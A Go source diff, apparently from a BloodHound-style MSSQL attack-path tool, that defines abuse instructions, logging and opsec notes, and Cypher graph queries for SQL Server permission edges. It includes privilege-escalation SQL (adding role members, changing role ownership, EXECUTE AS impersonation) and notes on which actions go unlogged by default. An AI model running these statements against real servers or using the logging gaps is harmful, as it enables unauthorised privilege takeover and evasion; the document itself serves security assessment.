func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The ALTER permission on a user-defined server role allows the source " + ctx.SourceType + " to add members to the server role. Principals cannot be granted ALTER permission on fixed server roles.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "EXEC sp_addsrvrolemember 'login', '" + ctx.TargetName + "';", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "EXEC sp_addsrvrolemember 'login', '" + ctx.TargetName + "';", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to server role membership. \n" + + "To view server role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + ' added ' + TargetLoginName + ' to ' + RoleName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass = 108 ORDER BY StartTime DESC; ", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql?view=sql-server-ver17#permissions \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.ControlDBRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The CONTROL permission on a database role grants the source " + ctx.SourceType + " all defined permissions on the role. This includes the ability to add members to the role and change its ownership.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statements:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "Add member: EXEC sp_addrolemember '" + ctx.TargetName + "', 'user_name'; \n" + + "Change owner: ALTER AUTHORIZATION ON ROLE::[" + ctx.TargetName + "] TO [user_name]; ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statements:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "Add member: EXEC sp_addrolemember '" + ctx.TargetName + "', 'user_name'; \n" + + "Change owner: ALTER AUTHORIZATION ON ROLE::[" + ctx.TargetName + "] TO [user_name]; ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to database role membership. Role ownership changes are not logged by default. \n" + + "To view database role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + CASE WHEN EventClass = 110 THEN ' added ' WHEN EventClass = 111 THEN ' removed ' END + TargetUserName + CASE WHEN EventClass = 110 THEN ' to ' WHEN EventClass = 111 THEN ' from ' END + ObjectName + ' in database ' + DatabaseName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass IN (110, 111) ORDER BY StartTime DESC; ", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine?view=sql-server-ver17#permissions-naming-conventions \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-role-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addrolemember-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17", + } + }, + + EdgeKinds.ControlDBUser: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The CONTROL permission on a database user grants the source " + ctx.SourceType + " the ability to impersonate that user and execute actions with their permissions.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "EXECUTE AS USER = '" + ctx.TargetName + "' \n" + + " SELECT USER_NAME() \n" + + "REVERT ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "EXECUTE AS USER = '" + ctx.TargetName + "' \n" + + " SELECT USER_NAME() \n" + + "REVERT ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for user impersonation by default.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine?view=sql-server-ver17#permissions-naming-conventions \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17", + } + }, + + EdgeKinds.ControlLogin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The CONTROL permission on a server login allows the source " + ctx.SourceType + " to impersonate the target login.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = '" + ctx.TargetName + "' \n" + + " SELECT SUSER_NAME() \n" + + "REVERT ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = '" + ctx.TargetName + "' \n" + + " SELECT SUSER_NAME() \n" + + "REVERT ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for login impersonation by default.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 ", + } + }, + + EdgeKinds.ControlServerRole: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The CONTROL permission on a user-defined server role allows the source " + ctx.SourceType + " to take ownership of, add members to, or change the owner of the server role. Principals cannot be granted CONTROL permission on fixed server roles.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement: \n" + + "Add member: EXEC sp_addsrvrolemember 'login', '" + ctx.TargetName + "' \n" + + "Change owner: ALTER AUTHORIZATION ON SERVER ROLE::[" + ctx.TargetName + "] TO [login] ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement: \n" + + "Add member: EXEC sp_addsrvrolemember 'login', '" + ctx.TargetName + "' \n" + + "Change owner: ALTER AUTHORIZATION ON SERVER ROLE::[" + ctx.TargetName + "] TO [login] ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to server role membership, but server role ownership changes are not logged by default. \n" + + "To view server role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + ' added ' + TargetLoginName + ' to ' + RoleName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass = 108 ORDER BY StartTime DESC; ", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql?view=sql-server-ver17#permissions \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.DBTakeOwnership: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The source " + ctx.SourceType + " can change the owner of this " + ctx.TargetType + " or descendent objects in its scope.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "ALTER AUTHORIZATION ON ROLE::[" + ctx.TargetName + "] TO [user]; ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "ALTER AUTHORIZATION ON ROLE::[" + ctx.TargetName + "] TO [user]; ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Role ownership changes are not logged by default.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql?view=sql-server-ver17#permissions \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.ImpersonateDBUser: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The IMPERSONATE permission on a securable object effectively grants the source " + ctx.SourceType + " the ability to impersonate the target object.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "EXECUTE AS USER = '" + ctx.TargetName + "' \n" + + " SELECT USER_NAME() \n" + + "REVERT ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "EXECUTE AS USER = '" + ctx.TargetName + "' \n" + + " SELECT USER_NAME() \n" + + "REVERT ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for user impersonation by default.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine?view=sql-server-ver17#permissions-naming-conventions \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 ", + } + }, + + EdgeKinds.ImpersonateLogin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: false, + General: "The IMPERSONATE permission on a securable object effectively grants the source " + ctx.SourceType + " the ability to impersonate the target object.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = '" + ctx.TargetName + "' \n" + + " SELECT SUSER_NAME() \n" + + "REVERT ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = '" + ctx.TargetName + "' \n" + + " SELECT SUSER_NAME() \n" + + "REVERT ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for login impersonation by default.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine?view=sql-server-ver17#permissions-naming-conventions \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 ", + } + }, + + EdgeKinds.TakeOwnership: func(ctx *EdgeContext) EdgeProperties { + var windowsAbuse, linuxAbuse string + sqlSuffix := "" + if ctx.TargetTypeDescription == "SERVER_ROLE" { + sqlSuffix = "ALTER AUTHORIZATION ON SERVER ROLE::[" + ctx.TargetName + "] TO [login]; " + } else if ctx.TargetTypeDescription == "DATABASE_ROLE" { + sqlSuffix = "ALTER AUTHORIZATION ON ROLE::[" + ctx.TargetName + "] TO [user]; " + } + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + sqlSuffix + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + sqlSuffix + return EdgeProperties{ + Traversable: false, + General: "The source " + ctx.SourceType + " can change the owner of this " + ctx.TargetType + " or descendent objects in its scope.", + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Role ownership changes are not logged by default.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-server-role-transact-sql?view=sql-server-ver17#permissions \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16", + } + }, + + EdgeKinds.ExecuteAs: func(ctx *EdgeContext) EdgeProperties { + var windowsAbuse, linuxAbuse, opsec string + if ctx.DatabaseName != "" { + // Database-level impersonation (EXECUTE AS USER) + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "EXECUTE AS USER = '" + ctx.TargetName + "' \n" + + " SELECT USER_NAME() \n" + + "REVERT " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "EXECUTE AS USER = '" + ctx.TargetName + "' \n" + + " SELECT USER_NAME() \n" + + "REVERT " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for user impersonation by default." + } else { + // Server-level impersonation (EXECUTE AS LOGIN) + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = '" + ctx.TargetName + "' \n" + + " SELECT SUSER_NAME() \n" + + "REVERT " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = '" + ctx.TargetName + "' \n" + + " SELECT SUSER_NAME() \n" + + "REVERT " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for login impersonation by default." + } + return EdgeProperties{ + Traversable: true, + General: "The IMPERSONATE or CONTROL permission on a server login or database user allows the source " + ctx.SourceType + " to impersonate the target principal.", + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: opsec, + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17", + } + }, +} + +// edgeCompositionGenerators maps edge kinds to functions that generate Cypher composition queries. +// These queries are used by BloodHound to visualize attack paths. +var edgeCompositionGenerators = map[string]func(*EdgeContext) string{ + + EdgeKinds.AddMember: func(ctx *EdgeContext) string { + if ctx.TargetTypeDescription == "SERVER_ROLE" { + return "MATCH (source {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), (server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), (role:MSSQL_ServerRole {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nOPTIONAL MATCH p1 = (source)-[:MSSQL_AlterAnyServerRole]->(server)\nOPTIONAL MATCH p2 = (server)-[:MSSQL_Contains]->(role)\nOPTIONAL MATCH p3 = (source)-[:MSSQL_Alter|MSSQL_Control]->(role)\nMATCH p4 = (source)-[:MSSQL_AddMember]->(role)\nWHERE (p1 IS NOT NULL AND p2 IS NOT NULL) OR p3 IS NOT NULL\nRETURN p1, p2, p3, p4" + } + // DATABASE_ROLE + return "MATCH (source {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), \n(database:MSSQL_Database {objectid: '" + escapeAndUpper(extractDBID(ctx.TargetID)) + "'}),\n(role:MSSQL_DatabaseRole {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nMATCH p0 = (source)-[:MSSQL_AddMember]->(role)\nMATCH p1 = (server)-[:MSSQL_Contains]->(database)\nMATCH p2 = (database)-[:MSSQL_Contains]->(source)\nMATCH p3 = (database)-[:MSSQL_Contains]->(role)\nOPTIONAL MATCH p4 = (source)-[:MSSQL_AlterAnyDBRole]->(database)\nOPTIONAL MATCH p5 = (source)-[:MSSQL_Alter|MSSQL_Control]->(role)\nRETURN p0, p1, p2, p3, p4, p5" + }, + + EdgeKinds.TakeOwnership: func(ctx *EdgeContext) string { + if ctx.TargetTypeDescription == "SERVER_ROLE" { + return "MATCH \n(source {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), \n(role:MSSQL_ServerRole {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nMATCH p0 = (source)-[:MSSQL_TakeOwnership]->(role)\nMATCH p1 = (server)-[:MSSQL_Contains]->(source)\nMATCH p2 = (server)-[:MSSQL_Contains]->(role)\nRETURN p0, p1, p2" + } + if ctx.TargetTypeDescription == "DATABASE_ROLE" { + return "MATCH \n(source {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), \n(database:MSSQL_Database {objectid: '" + escapeAndUpper(extractDBID(ctx.TargetID)) + "'}),\n(role:MSSQL_DatabaseRole {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nMATCH p0 = (source)-[:MSSQL_TakeOwnership]->(role)\nMATCH p1 = (server)-[:MSSQL_Contains]->(database)\nMATCH p2 = (database)-[:MSSQL_Contains]->(source)\nMATCH p3 = (database)-[:MSSQL_Contains]->(role)\nRETURN p0, p1, p2, p3" + } + return "" + }, + + EdgeKinds.ChangeOwner: func(ctx *EdgeContext) string { + if ctx.TargetTypeDescription == "SERVER_ROLE" { + return "MATCH \n(source {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), \n(role:MSSQL_ServerRole {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nMATCH p0 = (source)-[:MSSQL_ChangeOwner]->(role) \nMATCH p1 = (server)-[:MSSQL_Contains]->(source)\nMATCH p2 = (server)-[:MSSQL_Contains]->(role)\nMATCH p3 = (source)-[:MSSQL_TakeOwnership|MSSQL_Control]->(role) \nRETURN p0, p1, p2, p3" + } + if ctx.TargetTypeDescription == "DATABASE_ROLE" { + return "MATCH \n(source {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), \n(database:MSSQL_Database {objectid: '" + escapeAndUpper(extractDBID(ctx.TargetID)) + "'}),\n(role:MSSQL_DatabaseRole {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nMATCH p0 = (source)-[:MSSQL_ChangeOwner]->(role)\nMATCH p1 = (server)-[:MSSQL_Contains]->(database)\nMATCH p2 = (database)-[:MSSQL_Contains]->(source) \nMATCH p3 = (database)-[:MSSQL_Contains]->(role) \nOPTIONAL MATCH p4 = (source)-[:MSSQL_TakeOwnership|MSSQL_Control]->(database) \nOPTIONAL MATCH p5 = (source)-[:MSSQL_TakeOwnership|MSSQL_Control]->(role) \nRETURN p0, p1, p2, p3, p4, p5" + } + return "" + }, + + EdgeKinds.ChangePassword: func(ctx *EdgeContext) string { + if ctx.TargetTypeDescription == "APPLICATION_ROLE" { + return "MATCH \n(source {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), \n(database:MSSQL_Database {objectid: '" + escapeAndUpper(extractDBID(ctx.TargetID)) + "'}),\n(role:MSSQL_ApplicationRole {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nMATCH p0 = (source)-[:MSSQL_ChangePassword]->(role)\nMATCH p1 = (server)-[:MSSQL_Contains]->(database)\nMATCH p2 = (database)-[:MSSQL_Contains]->(source) \nMATCH p3 = (database)-[:MSSQL_Contains]->(role) \nMATCH p4 = (source)-[:MSSQL_AlterAnyAppRole]->(database) \nRETURN p0, p1, p2, p3, p4" + } + // Logins + return "MATCH \n(source {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), \n(login:MSSQL_Login {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nMATCH p0 = (source)-[:MSSQL_ChangePassword]->(login)\nMATCH p1 = (server)-[:MSSQL_Contains]->(source) \nMATCH p2 = (server)-[:MSSQL_Contains]->(login) \nMATCH p3 = (source)-[:MSSQL_AlterAnyLogin]->(server) \nRETURN p0, p1, p2, p3" + }, + + EdgeKinds.ExecuteAs: func(ctx *EdgeContext) string { + if ctx.DatabaseName != "" { + // Database users + return "MATCH \n(source {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), \n(database:MSSQL_Database {objectid: '" + escapeAndUpper(extractDBID(ctx.TargetID)) + "'}),\n(target:MSSQL_DatabaseUser {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nMATCH p0 = (source)-[:MSSQL_ExecuteAs]->(target)\nMATCH p1 = (server)-[:MSSQL_Contains]->(database)\nMATCH p2 = (database)-[:MSSQL_Contains]->(source) \nMATCH p3 = (database)-[:MSSQL_Contains]->(target) \nMATCH p4 = (source)-[:MSSQL_Impersonate|MSSQL_Control]->(target) \nRETURN p0, p1, p2, p3, p4" + } + // Logins + return "MATCH \n(source {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), \n(target:MSSQL_Login {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nMATCH p0 = (source)-[:MSSQL_ExecuteAs]->(target)\nMATCH p1 = (server)-[:MSSQL_Contains]->(source) \nMATCH p2 = (server)-[:MSSQL_Contains]->(target) \nMATCH p3 = (source)-[:MSSQL_Impersonate|MSSQL_Control]->(target) \nRETURN p0, p1, p2, p3" + }, + + EdgeKinds.ExecuteAsOwner: func(ctx *EdgeContext) string { + return "MATCH \n(database:MSSQL_Database {objectid: '" + escapeAndUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: database.SQLServerID}), \n(owner:MSSQL_Login {objectid: toUpper(database.OwnerObjectIdentifier)})\nMATCH p0 = (database)-[:MSSQL_ExecuteAsOwner]->(server)\nMATCH p1 = (owner)-[:MSSQL_Owns]->(database)\nOPTIONAL MATCH p2 = (owner)-[:MSSQL_ControlServer|:MSSQL_ImpersonateAnyLogin]->(server)\nOPTIONAL MATCH p3 = (owner)-[:MSSQL_MemberOf*]->(:MSSQL_ServerRole)-[:MSSQL_ControlServer|:MSSQL_ImpersonateAnyLogin|:MSSQL_GrantAnyPermission]->(server)\nRETURN p0, p1, p2, p3" + }, + + EdgeKinds.ExecuteOnHost: func(ctx *EdgeContext) string { + serverID := strings.ToUpper(ctx.SourceID) + // Extract computer SID: everything before the first ':' + computerID := serverID + if idx := strings.Index(serverID, ":"); idx >= 0 { + computerID = serverID[:idx] + } + return "MATCH \n(server:MSSQL_Server {objectid: '" + serverID + "'}), \n(computer:Computer {objectid: '" + computerID + "'})\nMATCH p0 = (server)-[:MSSQL_ExecuteOnHost]->(computer)\nOPTIONAL MATCH p1 = (serviceAccount)-[:MSSQL_ServiceAccountFor]->(server)\nRETURN p0, p1" + }, + + EdgeKinds.GetAdminTGS: func(ctx *EdgeContext) string { + return "MATCH \n(serviceAccount {objectid: '" + strings.ToUpper(ctx.SourceID) + "'})\nMATCH p0 = (serviceAccount)-[:MSSQL_GetAdminTGS]->(server:MSSQL_Server {objectid: '" + strings.ToUpper(ctx.TargetID) + "'})\nMATCH p1 = (server)-[:MSSQL_Contains]->(login:MSSQL_Login {isActiveDirectoryPrincipal: true})\nOPTIONAL MATCH p2 = (login)-[:MSSQL_ControlServer|:MSSQL_GrantAnyPermission|:MSSQL_ImpersonateAnyLogin]->(server)\nOPTIONAL MATCH p3 = (login)-[:MSSQL_MemberOf*]->(:MSSQL_ServerRole)-[:MSSQL_ControlServer|:MSSQL_GrantAnyPermission|:MSSQL_ImpersonateAnyLogin]->(server)\nWITH serviceAccount, server, login, p0, p2, p3\nWHERE p2 IS NOT NULL OR p3 IS NOT NULL\nOPTIONAL MATCH p4 = ()-[:MSSQL_HasLogin]->(login)\nRETURN p0, p2, p3, p4" + }, + + EdgeKinds.GetTGS: func(ctx *EdgeContext) string { + return "MATCH (serviceAccount {objectid: '" + strings.ToUpper(ctx.SourceID) + "'}) \nMATCH p0 = (serviceAccount)-[:MSSQL_GetTGS]->(login:MSSQL_Login {objectid: '" + escapeAndUpper(ctx.TargetID) + "'})\nMATCH p1 = (server:MSSQL_Server)-[:MSSQL_Contains]->(login) \nMATCH p2 = ()-[:MSSQL_HasLogin]->(login) \nRETURN p0, p1, p2" + }, + + EdgeKinds.CoerceAndRelayTo: func(ctx *EdgeContext) string { + return "MATCH \n(source {objectid: '" + strings.ToUpper(ctx.SourceID) + "'}), \n(server:MSSQL_Server {objectid: '" + escapeAndUpper(ctx.SQLServerID) + "'}), \n(target:MSSQL_Login {objectid: '" + 